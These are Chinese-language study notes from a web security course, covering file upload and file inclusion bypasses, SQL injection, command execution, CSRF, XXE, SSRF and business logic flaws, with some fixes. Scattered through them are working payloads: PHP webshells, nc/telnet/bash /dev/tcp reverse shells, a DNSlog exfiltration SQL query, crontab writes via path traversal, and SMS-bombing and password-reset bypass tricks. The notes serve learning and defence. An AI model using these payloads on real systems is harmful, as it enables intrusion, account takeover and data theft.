之前听合天公开课做的一些笔记

随手做的笔记,看起来比较乱,后面再慢慢通过做题整理吧!

文件上传
1.bp抓包直接修改文件后缀
2.MIME类型:抓包修改content-type为允许类型
3.黑名单绕过:后缀大小写绕过,空格绕过,点绕过,::DATA绕过,双后缀名绕过,配合Apache解析漏洞(从右往左读,配合不可识别.owf和.rar)
4.白名单绕过(从后往前判断文件类型,从前往后解析文件):%00绕过,0x00绕过(在bp中1.php.jpg,换为1.php0x00jpg)
5.绕过文件内容检测(判断文件头):上传图片马(突破getimagesize()函数) 图片马制作: cmd命令 例:copy 1.jpg/b+1.php/a 2.jpg
其他:
长度截断:当文件名超过系统允许的最大长度时,会将超出部分截断,绕过方法,使用二分法,不断尝试最大肠读,然后进行截断
竞争上传:当代码的逻辑时先保存再上传时,则存在时间竞争条件漏洞,绕过方法,写个生成木马的木马,上传木马时使用bp不断请求木马,或者写个脚本运行
(bp中的intrudor:上传一个木马,内容为<?php file_put_contents("shell.php","<?php phpinfo();");然后在user-agent后面添加数字1,并对该位置进行爆破)

文件包含
函数:require:出错时直接报错退出;require_once:出错时直接退出,仅包含一次;
include:出错时抛出警告,但继续运行;include_once:同上,包含一次
本地文件包含:包含本地敏感文件、上传文件
包含系统文件:C:/Windows/文件名
包含上传文件:../(返回上一级目录)/文件名
配合日志文件:参数=php代码(如<?php phpinfo();?>),用bp抓包,然后将php代码改回原样,然后进行包含
配合/proc/self/environ文件:参数=/proc/self/environ&(php代码中的参数)=id,用bp抓包,然后在user-agent后面加上php代码(如<?php system($_GET['cmd'])?>)
配合session文件:
(1)直接包含文件
(2)包含frm文件(表结构文件),通过在创建数据表时将数据表的名称设为我们的php一句话木马,从而包含这个文件时可以执行一句话木马
(3)phpsession序列化数据保存至session文件,包含其缓存文件,通过select'php一句话木马';进而包含sess_sessionIL文件
利用php协议进行文件包含
1.file协议:fopen和include关,格式:参数=file:///C:windows/win.ini,用于当../被屏蔽时
2.php://filter协议:主要用来查看源码,格式:参数=php://filter/(read.)convert.base64-encode/resource=include.php
注:如果$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了;绕过方法:在bp中抓包,写入txt=a(额外添加的,base64解码时是4个字节一组加上a可以和前面的phpexit组合)+一句话木马的base64编码&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
3.php://input协议:fopen关include开,主要用来接受post数据,将post请求中的数据作为php代码执行;格式:参数=php://input<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['xxxser']);?>")?>
4.zip://、bzip2://、zlib://协议:双关,可以访问压缩文件中的子文件,格式:zip://压缩文件绝对路径#(#可以写成其url形式:%23)压缩文件内的子文件名
5.phar://协议:类似zip协议,但是可以使用相对路径;格式:phar://压缩文件绝对或相对路径/压缩文件内的子文件名
6.data://协议:双on,将原本的include的文件流重定向到了用户可控制的输入流中,格式:参数=data://text/plain,<?php phpinfo();也可以写成base64形式:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA==
注:echo $_SERVER['DOCUMENT_ROOT'];显示文件路径?page=data://text/plain,<?phpprint_r(scandir(目录));?>读出当前目录文件<?php system("cat 文件名");?>读出内容<?php system("ls")?>显示当前目录内容
远程文件包含:包含攻击者指定远程url文件
xxx.xxx.xxx.xxx/文件名
绕过方式
本地文件包含绕过方式:
%00截断(magic_quotes_gps=off php版本<5.3.4) 格式:参数=../../../../phpinfo.php%00
%00截断目录遍历(magic_quotes_gps=off unix文件系统)格式:参数=../../../../var/www/%00
路径长度截断(php版本<5.2.8,windows下目录最大长度为256字节,linux为4096,超出部分丢弃)格式:参数=../../../../phpinfo.php././././[...]././
点号截断(php版本<5.2.8,只适用于windows,点号长于256)格式:参数=../../../../phpinfo.php.................[....]....
远程文件包含绕过方式:
1.+? 参数=url?
2.+%23
3.+%20

SQL注入
MySQL数据库的一些简单语法:
新建数据库:create database 数据库名;
新建表:create table 表名(字段名1 数据类型 约束,字段名2 数据类型 约束);
插入数据:insert into 表名(列名) values(数据);
简单查询:select 列名 from 表名;
where查询:select 列名 from 表名 where 列名 比较运算符 数值;
删除数据:delete from 表名 where 列名=值;
更新数据:update 表名 set 列名=新值 where 列名=值;
order by排序:select *from 表名 order by 列名;
limit控制输出:select * from 表名 limit 开始位置,结束位置;
information_schema(5.0版本以上自带)
SQL注入发现:
1.寻找一切可能存在SQL交互的功能点
2.利用单引号或双引号或\来检测是否存在注入,如果爆出sql错误,90%可能存在注入
联合查询注入:流程:1.判断是否存在注入(单引号或双引号或\)2.判断字段数、获取显示位 3.获取所有数据库名 4.获取所有表名 5.获取所有列名 6.获取所有数据
相关函数:database()返回当前网站所用数据库名 version()返回当前数据库版本 user()返回当前数据库用户名 group_concat()将查询的多行数据合并成一行进行显示,括号里面填入要查询的列名
union select联合查询,连接上一条语句,合并查询(一般将前一条语句设置为假从而执行后一条语句)
order by对查询结果进行排序,用法是order by 列名,在SQL注入中接数字,来判断列数
limit n,1从你表中的第n条数据开始,读取一个
注释符:# -- (加上)任意字符 /**/ ;%00
!注!:判断是否存在注入时,如果出现4(3)个单/双引号时,证明为字符型注入,如果是2(1)个单引号时,则为数字型注入,在写注入语句时,最后面要加上注释符
格式:select * from users where id=1 union select xxx
要求:要求多条查询语句的查询列数是一样的
2.猜解列数:用order by 数字来猜列数,当网站不报错时,证明猜对
3.根据猜到的列数爆显示位:就是union select 1,2,...n 观察显示位的地方
4.根据爆出的显示位在相应文职查询数据库版本和当前数据库
5.爆出当前数据库下的所有表
6.根据爆出的表爆出指定表的所有列名
7.根据列名爆出所有数据
联合查询bypass
过滤了select x from x类似的正则:select group_concat(x)from x
过滤了union等关键字,如果用的str_ireplace(),可以双写绕过,如uunionnion
过滤了or and等关键字,利用&&||绕过
过滤了空格,利用+绕过
报错注入:
相关函数:concat(str1,str2)将字符串首尾相连
concat_ws(separator,str1,str2)将字符串用指定连接符连接
updataxml(XML_document,XPath_string,new_value),第一个参数是xml文档的名称,第二个参是xpath格式的字符串,第三个参数是替换查找到的符合条件的数据。注:在xpath传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会显示出结果
extractvalue(xml_str,Xpath),第一个参数是传入的xml文档,第二个是传入文档的路径。注:必须在xpath那传特殊字符,mysql才会报错,而我们又要注出数据,没有足够的位置,所以要用concat函数;xpath只会对特殊字符报错,这里我们用~,16进制的0x7e来进行利用;xpath只会报错32个字符,所以要用到substr
布尔盲注(在页面中,如果正确执行SQL语句,返回一种界面,而错误执行返回另一种页面,基于两种页面来判断sql语句的正确性)
流程:1.判断是否存在注入 2.获取数据库长度 3.逐字猜解数据库名 4.猜解表名数量 5.猜解某个表长度 6.逐字猜解表名 7.猜解列名数量 8.猜解某个列长度 9.逐字猜解列名 10.判断数据数量 11.猜解某条数据的长度 12.逐位猜解数据
相关函数:ascii()返回当前ascii码 length()返回当前长度 count()返回当前列的数目
条件语句:if(a,b,c)如果a成立,则执行b,否则执行c
select case when (条件) then 代码1 else 代码2 end
过滤了substr函数:
left(str,index)从左边index开始截取
right(str,index)从右边index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str,从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
延时盲注 (无论sql语句怎样执行,一般是页面无回显,无报错的情况下使用)
相关函数:sleep(n)延时n秒
Dnslog注入 (当我们碰到sql盲注时,一般用二分法一个字符一个字符的猜,有可能会因为请求次数过多被防火墙ban掉ip,这是利用dnslog来进行注入)
常规流程:攻击者通过get方式或者post方式传输payload,然后受害者服务器经过sql查询把数据返回给攻击者
dnslog方式:把payload通过dns请求发送,然后看dns日志就获取到数据了
相关语句:load_file(filename)读取文件并返回文件内容为字符串,使用此函数需满足以下条件:
(1)所读文件必须在服务器上,且必须指定文件其绝对路径
(2)连接当前数据库用户必须有FILE权限
(3)文件内容必须小于max_allowed_packet
UNC:UNC路径就是类似\softer这样的形式的网络路径,格式\servername\sharename,前面是服务器名称,后面是共享资源的名称
查询数据库payload:and if((select load_file(concat('\\\\',(select database()),'.xxx.xxx.xxx\\abc'))),0,1)--+

命令执行
部分需要调用的php函数,如eval(),assert(),preg_replace(),create_function()等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,则该页面可能存在远程命令执行漏洞
eval()和assert()函数都可以执行参数内的代码,且接受的参数为字符串,如:<?php @eval($_POST['cmd']);?>和<?php @assert($_POST['cmd'])?>,eval()函数必须以分号结尾,assert()函数不需要分号结尾
preg_replace()函数,格式:preg_replace('正则规则','替换字符','目标字符'),如:<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>意思同上,在5.5.版本后就不再用/e了,用preg_replace_callback()代替
array_map()函数,将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,如<?php $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;?>
利用动态函数执行,php函数可直接由字符串拼接而成,如:<?php $a=$_GET['a']; $b=$_GET['b'];echo $a($b);?> 则payload为:a=assert&b=phpinfo()
利用php系统命令执行函数来调用系统命令并执行,如system()执行外部程序并显示输出,exec()执行一个外部程序,shell_exec()通过shell环境执行命令,并且将完整的输出以字符串的方式返回,passthru()执行unix系统命令并且显示原始输出,penti_exec()在当前进程空间执行指定程序,popen()打开进程文件指针,proc_pen()执行一个命令并且打开用来输出/输入的文件指针,此外还有反引号命令执行,原理同shell_exec()
常用特殊字符:
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1&cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后才执行cmd2
$(cmd):echo$(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用于执行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)
命令执行漏洞(DVWA-high等级):
stripslashes:反引用一个引用字符,返回一个去除转义反斜线后的字符串(\'转换为'等),双反斜线(\\)被转换为的那个反斜线(\)
explode:使用一个字符串分割另一个字符串,返回由字符串组成的数组,每个元素都是string的一个字串,他们被字符.作为边界点分割出来
is_numeric:检测变量是否为数字或数字字符串,是返回true,否则返回false
php命令执行反弹shell
nc反弹shell如:127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
telnet反弹shell如:127.0.0.1;rm -f a;mknod a p;telnet 172.26.1.156 6666 0<a | /bin/bash 1>a
php命令执行写shell
1:127.0.0.1|echo "<?php @eval($_POST['cmd']);?>">1.php
2:127.0.0.1|echo "<?php ($_=@$_GET[2]).@$_($_POST[1])?>">3.php
3:fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>');
4.编码:
ascii码:cmd=eval(chr(102)...............);
base64编码:fputs(fopen(base64_decode(.......,w),base64_decode(.............................))); 注:post参数中不能出现<,>,+,/,=等字符,通过二次base64编码去除字符

防护
1.禁用高危系统函数,在php安装目录中找到php.ini文件,找到disable_functions,在后面添加禁用的函数名,函数名之间以英文逗号分隔,高危系统函数有:phpinfo(),eval(),passthru(),chroot(),scandir(),chgrp(),chown(),shell_exec(),proc_open(),proc_get_status(),ini_alter(),inirestore(),dl(),pfsockopen(),openlog(),syslog(),readlink(),symlink(),popepassthru(),stream_socket_server(),fsocket(),fsockopen()
2.严格过滤特殊字符
转义或过滤Windows的特殊字符:()<>&*'|=?;[]^~!."%@/\:+,'
转义或过滤Linux专用字符:{}()<>&*'|=?;[]$-#~!."%/\:+,'
创建仅包含允许的字符或命令列表的白名单以验证用户输入
3.开启safe_mode:php安全模式,php.ini文件中safe_mode = on

文件上传之另类反弹shell(利用目录穿越方式反弹shell)
使用crontab进行计划任务
在linux下可使用service crontab start来启动crontab服务,crontab一共有5个时间点,格式为*(分钟)*(小时)*(星期)*(月份)*(年份)[命令],我们可使用命令crontab -e来编辑任务计划
目录穿越实现
在linux下尝试使用In -s /etc hack那么就成功穿越到了etc的目录下,可以产生任意文件读取漏洞,漏洞案例WINRAR压缩程序目录遍历
步骤:
1.攻击介绍:界面是一个上传文件,漏洞出发于并没有对文件名进行判断,所以导致了目录穿越漏洞 注:这里上传一句话木马文件没用,并不会执行其内容
2.开始使用NC监听:使用nc -l vp 8080的命令进行监听弹回的shell
3.开始抓包:使用bp抓包,并修改filename为../../../../../var/spool/cron/root此目录表示存放计划任务的文件
4.修改包数据:之后将包的数据修改为恶意反弹指令:bash -c 'bash -i >& /dev/tcp/0.0.0.0/8888 0>&1' | ls我们只需要更改IP和端口,之后点击发送。
原理剖析:没有对handle.filename进行过滤,从而产生的目录穿越漏洞,我们可以用string将filename的/替换掉,这样可以有效修复漏洞

CSRF(跨站请求伪造,一种挟持用户在当前已登录的web应用程序上执行非本意的操作的攻击方法)
CSRF模型:1.用户登录受信任网站A,并在本地生成Cookie 2.在不登出A的情况下,访问危险网站B
出现比较多的场景有用户密码的修改、银行转账、购物地址的修改或用户资料修改等等一切有请求的过程中,CSRF的本质就是在不知情的情况下执行请求
CSRF的利用:正常的CSRF攻击,增删改等操作(基本操作的CSRF)
另类的CSRF:JSONP、CORS、Flash跨域劫持(基本文件读取的CSRF)
GET型、POST型CSRF:可以用bp一键生成,bp的CSRF PoC generator
链接型CSRF:需要用户点击才会触发,通常在图片中嵌入恶意链接,如:<a herf="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> "重磅消息!!" </a>
构造请求:1.获取请求2.构造请求3.让别人点击
操作型CSRF:模拟人为操作,让受害者执行危险请求
读取型CSRF:模拟人为请求,获取受害者的敏感信息,首先让用户发起请求接口,返回铭感数据,再把敏感数据发送到dnslog里,分为CORS(前端安全之跨站资源共享),JSONP和flash跨域劫持
CORS:使用额外的HTTP头来告诉浏览器,让运行在一个origin(domain)上的web应用被准许访问来自不同源服务器上的指定的资源。上在bp抓包后看头部的origin头,在response中是否会因为request中的改变而改变
jsonp:目标页面回调本地页面的方法,并带入参数,看bp中的某一参数改变后,response中是否有jsonp因此改变,bp中的collaborator client可以构建服务器
基本步骤:cors:发现漏洞,构造代码,然后运行,在dnslog中查看得到的敏感信息
jsonp:发现漏洞,构造代码,在靶机中添加代码文件,将网址发给受害者,受害者点击,然后就可以在dnslog中得到敏感信息


XXE(外部实体注入攻击,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数据)
基础:
XML(XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素)
语法:1.XML文档必须有一个根元素 2.XML文档必须有一个关闭标签 3.XML标签对大小写敏感 4.XML元素必须被正确嵌套 5.XML属性值必须加引号
DTD:文档类型定义,用来对XML文档定义语义约束
内部声明:DTD被包含在XML源文件中,语法<!DOCTYPE 根元素 [元素声明]>
外部声明:DTD位于XML源文件的外部,语法<!DOCTYPE 根元素 SYSTEM "文件名(文件路径)">
PCDATA:指被解析的字符数据,xml贾西奇通常会解析xml文档中的所有文本,在XML中有5个预定义的实体引用&lt;&gt;&amp;&apos;&quot;一一对应<>&.",在XML中仅有<和&是非法的,但是将他们替换为实体引用是个好习惯
CDATA:指不应由xml解析器进行解析的文本数据,CDATA部分中的所有内容都会被解析器忽略,使用方法:<![CDATA[开始,由]]>结束
DTD实体:用于定义引用普通文本或特殊字符的快捷方式的变量,在xml中通过 &实体; 进行引用
内部普通实体:声明:<!ENTITY 实体名称 "实体的值">
外部普通实体:声明:<!ENTITY 实体名称 SYSTEM "URI/URL"> 注:各语言引用外部实体时支持的一些协议有所区别
参数实体:声明:内部:<!ENTITY % 实体名称 "实体值"> 外部:<!ENTITY % 实体名称 SYSTEM "URI"> 参数实体的引用范围只限于DTD声明中
利用场景:有回显和无回显
有回显:可以直接看到payload的执行结果
无回显:blind XXE,可以使用外带数据通道提取数据及外带XML外部实体(OOB-XXE)
漏洞发现:1.首先寻找接受XML作为输入内容的端点(可以通过修改HTTP的请求方法,修改content-type头部字段等方法,看程序是否解析了发送的内容,还可以尝试注入xml预定义的一些实体,看是否报错,通过报错信息判断)
2.如果站点解析xml,可以尝试引用实体和DTD,如果可以引用外部实体,则存在XXE漏洞
有回显的本地文件读取:直接在bp中抓包写入payload
当所读取文件中包含了<或&,在本地开启一个监听端口,cmd->python2 -m SimpleHTTPServer 端口,利用外部参数实体构造payload
利用php伪协议进行读取文件:php://filter/read=convert.base64-encode/resource=文件路径
无回显的文件读取:利用外部DTD的方式将内部参数实体的内容与外部DTD声明的实体的内容拼接起来,利用payload来从目标主机读取到文件内容后,将文件内容作为url的一部分来请求我们本地监听的端口,步骤:开启一个监听端口,构造payload,监听端口收到请求,开启另一个监听端口,然后在dtd文件中读取另一个文档,并且发送请求,另一个监听端口就会收到请求
利用XXE进行端口探测:抓包,构造一个外部实体的payload,然后将包发送到intruder进行探测
Java中导入excel处存在的XXE:一般在上传xlsx的地方有可能会存在xxe漏洞,步骤:(1)新建一个xslx文件(2)用压缩软件打开xlsx文件(3)复制里面的[Content_Type].xml文件出来,将其打开并添加payload(4)将修改后的xml文件覆盖原本的xml文件(5)然后将修改后的xlsx文件上传,我们就会收到服务器的请求
xxe修复:方案一:过滤用户输入的xml数据,比如尖括号,一些关键字:<!DOCTYPE>和<!ENTITY,SYSTEM,PUBLIC等
方案二:禁止xml加载外部实体(推荐)

SSRF(服务端请求伪造)
形成原因:由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据
在PHP中:某些函数的不当使用会导致SSRF:如file_get_conntents()、fsockopen()、curl_exec()
file_get_conntents():把文件写入字符串,当url是内网文件时,会先把这个文件的内容读出来再写入,导致了文件读取
fsockopen():实现获取用户指定url的数据(文件或者html),这个函数会使用socket跟服务器建立tcp连接,传输原始数据
curl_exec:通过file、dict、gopher三个协议来进行渗透
危害:获取web应用可达服务器服务的banner信息,以及收集内网web应用的指纹识别,根据这些信息再进行进一步的渗透
攻击运行在内网的系统或应用程序,获取内网系统弱口令进行内网漫游,对有漏洞的内网web应用实施攻击获取webshell
利用由脆弱性的组件结合ftp://、file://、dict://等协议实施攻击
漏洞发生点:
通过url地址分享网页内容
文件处理、编码处理、转码等服务
在线翻译
通过url地址加载与下载图片
图片、文章收藏功能
未公开的api实现及其他调用url的功能
网站邮箱收取其他邮箱邮件功能
从url关键字寻找:share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain等
利用:1.有回显 2.无回显
有回显:cURL的利用:dict协议,file协议,gopher协议,http协议
判断存在:通过目标服务器去请求一个网站,如果返回了改网站的页面信息,则说明存在SSRF漏洞
无回显:DNS,http带外通道
判断存在:首先开启一个apache服务,然后利用目标网站去请求我们的服务器,然后就可以在服务器日志里看到有请求记录,除此之外还可以利用bp的burp collaborator client以及DNSlog
dict协议运用:
curl:一种命令行工具,作用是发出网络请求,获取数据
curl -v ‘dict://ip:端口’:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务版本等信息(远程利用)
file协议运用:
本地利用:file协议主要用于访问计算机中的文件
curl -v ‘file://文件路径(/etc/passwd)’
远程利用:读取系统敏感信息
gopher协议(互联网上使用的分布型的文件搜集获取网络协议)运用:
使用方法:gopher://ip:port/_payload
利用gopher协议getshell
常见的exp:
flushall:删除所有数据库中的key
-x参数:从标准输入读取一个参数
在redis的第0个数据库中添加key为1,value字段最后会多一个/n是因为echo重定向最后会自带一个换行符,这里用的centos,ubuntu用户的定时任务在/var/spool/cron/crontabs/目录下
dir 数据库备份的文件放置路径
dbfilename备份文件的文件名
使用socat进行端口转发,利用这个脚本攻击自身并抓包得到数据流
socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
然后执行脚本得到数据流:
bash shell.sh 127.0.0.1 2333
利用脚本将数据转换成配置于gopher协议的url,转换规则:
如果第一个字符是<或>,则丢弃改行字符串,表示请求和返回的时间
如果前三个字符是+OK,则丢弃改行字符串,表示返回的字符串
将\r字符替换成%0d%0a
将空白行替换成%0a
绕过姿势:
利用解析url:某些情况下,后端程序可能会对访问的url进行解析,对解析出来的host地址进行过滤,这时可能会出现对url参数解析不当,导致可以绕过过滤,如访问http://[email protected]于访问10.10.10.10的内容一致,因此可以使用@绕过验证
IP地址转换成进制:例如192.168.0.1可以改成8进制:0300.025.0.1 16进制:0xC0.0xA8.0.1 10进制整数格式:3232235521 16进制整数格式:0xC0A8000
添加端口如:10.10.10.10:80
短网址:将ip地址设为ip.xip.io或www.ip.xip.io
利用enclosed alphanumerics:ⒺⓍⒶⓂⓅⓁⒺ.ⒸⓄⓂ
利用句号:127。0。0。1
修复:过滤返回信息,验证远程服务器对请求的响应
统一错误信息
限制请求的端口为http常用的端口
禁用不需要的协议,仅允许http和https请求
设置url白名单或限制内网ip

逻辑漏洞(程序员在编写程序的时候,跟随着人的思维逻辑产生的不足)
分类:1.url跳转 2.短信轰炸 3.任意密码修改 4.任意用户登录 5.越权 6.支付逻辑漏洞 7.条件竞争
1.url跳转漏洞:开放重定向漏洞,可以把用户重定向到攻击者自己构造的页面去,就单的说就是可以跳转到任意指定的url
产生原因:服务端未对传入的跳转url变量进行检查和控制,可能导致可恶意构造任意一个恶意地址,诱导用户跳转到恶意网站
举例:sso登陆,验证跳转等
危害:利用源码小偷制作钓鱼网站,配合xss漏洞执行js,配合csrf操作危险请求,配合浏览器漏洞
例子:
1.qq空间url跳转漏洞:http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_urlcheck?url=http://wooyun.org
2.百度url跳转漏洞:http://m.baidu.com/l=2/tc?src=http://www.wooyun.org
修改合法的url为自己设置的url跳转成功即可访问上面地址会直接变成自己设定的地址即时url跳转
dedemcs任意url跳转漏洞:http://127.0.0.1/dedecms2/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
url跳转bypass:
1.利用问好绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://[email protected]
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
2.短信轰炸漏洞(简单地说就是发送短信/邮件的包可以无限制的发送)
位置:登录、注册、找回密码、绑定手机/邮箱、修改账号等一切需要验证的位置
测试方法:抓到发送短信、邮件、私信、站内信的报文,不断重放。
bypass:
1.尝试在mobile参数后面加%20即空格,直接加空格也可以
2.尝试在mobile后面加字母等
3.尝试对参数进行多次叠加
4.利用调用接口绕过短信&邮箱轰炸限制
比如这样的参数:terminal=01&Mobile=XXXX,前面的接口是调用短信发送内容的接口,比如terminal参数值为01是调用注册成功的短信提示,02是调用密码重置成功的短信提示,03是调用注册成功的短信提示等等,当修改这个接口值时,也就达到了短信轰炸或邮箱轰炸的目的
5.修改Cookie值绕过短信&邮箱轰炸限制
有些可能不是直接验证手机号来判断次数,而是验证当前Cookie,利用当前Cookie来进行验证发送次数的话,很容易造成绕过,这里如果验证的不是登录状态的Cookie而是普通状态下的Cookie的话就可以通过修改Cookie达到绕过验证
6.修改IP绕过短信&邮箱轰炸限制
有些同样是验证当前IP的,如果当前IP短时间内获取短信或邮件频繁或者达到一定次数的话就会出现限制,那么就可以利用修改IP或者代理IP来进行绕过限制
7.利用大小写绕过邮箱轰炸限制
修改邮箱后面字母的大小写就可以绕过限制,比如参数是这样的:[email protected]当次数达到限制时,随便修改一个字母为大写:[email protected]就可绕过限制
8.修改返回值绕过短信&邮箱轰炸
比如发送成功后返回值是success,发送失败的返回值是error,那么当达到次数后,可以通过修改返回值为正确的返回值:success,从而绕过限制,达到发送成功的目的
3.任意密码修改漏洞(厂商在对密码修改的时候,未对修改密码的凭证做严格的限制,导致可以被绕过进行任意的密码修改)
1.验证码爆破:①重置密码发送手机验证码②发现验证码只有四位③利用burp进行爆破④爆破成功重置密码
要点:1.表现:验证码四位,服务端未对验证时间次数进行限制(出现次数比较多的地方)
2.验证码六位,但是不过期,并且没有对验证的次数进行限制
3.验证码可以发送多次,而且每次都不会过期
利用:使用burp的爆破模块即可,或者自己编写脚本
修复:使用六位验证码,限制验证码认证次数
特例:对IP进行了验证次数的限制,利用ip轮换进行爆破
2.验证码凭证回传:重置密码时,凭证为发送到手机上的验证码,但是通过拦截发送验证码请求对应的response包时,发现验证码在包中
重点:注意是凭证,有时候可能返回包里面凭证可能在cookie里面或者也有可能在其他地方
特例:dedecms任意密码重置
登录账号之后,访问链接http://127.0.................id=1可以获取到重置密码的凭证,修改id即可遍历其他用户
解决方案:修改包的返回规则
3.验证码未绑定用户:输入手机号和验证码进行重置密码的时候,仅对验证码是否正确进行了判断,未对该验证码是否与手机号匹配做验证
表现:任意账号都能够接收到验证码并能够使用A手机的验证码,B可以拿来用
修复:1.在服务器进行有效验证,手机号和验证码在服务器进行唯一性绑定验证 2.在服务端限制验证码发送周期,设置时效,限制次数
4.本地验证绕过:客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,导致欺骗客户端,误以为我们已经输入了正确的验证码场景:
1.验证码返回在前台进行对比
2.验证码在js里面直接进行对比
3.直接修改返回包
利用:重置目标用户,输入错误验证码,修改返回包,报错误改为正确,即可绕过验证步骤,最终重置用户密码
5.跳过验证步骤:对修改密码的步骤,没有做校验,导致可以输入最终修改密码的网址,直接跳转到该页面,然后输入新密码达到重置密码的目的
测试:首先使用自己的账号走一次流程,获取每个步骤的页面链接,然后记录输入新密码的对应连接,重置他人用户时,获取验证码后,直接进入输入新密码对应链接到新密码的界面,输入密码重置成功
6.token可预测:使用邮件接收重置密码的链接时,一般都会带有一个token用于判断链接是否被修改过,如果token可以预测,那么攻击者可以通过构造链接来重置任意的用户密码
表现:1.基于时间戳生成的token 2.基于递增序号生成的token 3.基于关键字段生成的token 4.token有规律
7.同时向多个账户发送凭证:将发送验证码的包截获,修改字段添加多个账户,再发包,发现缩写的有效字段均发送了凭证
8.接收端可篡改:重置密码时,凭证会发送到手机上,通过替换手机号,可以使用自己的手机号接受验证码。还有一 种情况比较特殊,也是手机接受验证码,但是重置密码的整个流程中并没有输
入过手机号之类的,说明后台程序很可能是通过用户名来查询的电话号码。整个重置流程中, -般第一步是绑定用户名的地方,但是如果后面几个流程中还会发送用户名这个参数(这个时候发
送的参数可能是单独用于在数据库中查询手机号的,同时说明这个地方可能存在sql注入) ,可以修改尝试一下
9.万能验证码:某些开发在未上线前为了方便测试加了888888,000000这样的万能验证码但是上线后没去删除测试的内容导致被恶意利用
4.任意账户登录:撞库获得用户名(手机号或者邮箱),通过验证码登录,若抓包修改接收验证码的手机号/邮箱,然后使用该验证码能使撞库的用户登录,即产生漏洞
适用场景:
1.验证码回显:与任意密码修改类似,在手机验证码登陆的时候有一个验证码回显,直接用验证码登录即可
2.修改返回包登录:1.首先在重置或者登录的时候抓登陆包 2.然后修改返回包,把错误的变成正确的 3.服务器被欺骗,登陆成功
3.通过遍历id可以登录:通过修改对应的userid号,利用修改其他的userid进行登录 实例:vlcms_1.2.0任意用户登录 1.首先注册账号 2.访问地址:http://127.0.0.1/vlcms/index.php?s=/member/res_login/post:uid=60 3.修改uid登录任意用户
4.sql注入万能密码:select id from users where username = 'admin' or 1=1 #' and password ='' 利用sql注入语句admin ’ or 1=1 #组合语句
5.系统默认弱口令:系统在搭建的时候,设置了默认口令,例如123456等这种密码,或者是默认的强口令,asdaffags1231这种,但是密码是通用的就可以利用这个密码进行登录任意账户
6.撞库:不同的系统又可能会用一个相同的数据库,例如4A的用以认证,拿到了一个系统的数据库用户即可通用,或者旧密码未改动,可以通过社工库等查询到旧密码,进行撞库
7.cookie混淆:在登录的时候是根据cookie中的某一个字段来进行判断登录的角色
5.越权漏洞:指一个正常用户A可以操作另一个用户B才能做的事
原因:开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定
平行越权:在发送请求时观察请求参数,尝试修改用户id或者其他参数验证是否能查看不属于自己的数据,进行增删改查,若成功则存在
垂直越权:查看请求中是否有身份标识,比如userid,角色id之类的,有的话尝试修改,重新请求更高权限的操作,如普通用户进去可以新建管理员的用户,然后直接用管理员用户账号登录
流程:抓包修改id,重点:明白每个参数的作用,再根据参数来寻找越权 小技巧:一个站里面很多包的参数命名可能是通用的,或者变化不大的,寻找包里的身份验证参数,然后修改
6.支付逻辑漏洞:后端没有对支付的数据包做校验,传递过程也没有做签名,导致可以随意篡改金额提交,只需要抓包看到有金额的参数修改成任意即可
举例:
1.修改购买数量:在进行支付订单的时候,可以修改物品的数量来进行操作,可以通过支付一件的价格购买多件,或者修改成负数进行增加资金
2.修改支付价格:利用:抓包修改价格参数的内容,在支付当中,购买商品一般分为三步:订购、确认信息、付款,在这三个步骤中都有可能存在漏洞,金额可以尝试修改小额或者修改为负
3.修改支付对应的商品:修改商品对应的id号,可以用低价购买高价格的商品
4.修改支付的状态:没有对支付状态的值跟实际订单支付状态进行校验,导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功
5.修改附属优惠、领取优惠:1.修改优惠券金额 2.修改积分金额 3.无限制试用 4.修改优惠价
6.测试数据包未删除:开发在进行测试的时候有一些测试数据未删除,导致用户可以购买测试数据,或者领取测试的优惠券
其他类型:修改支付接口:比如一种网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功
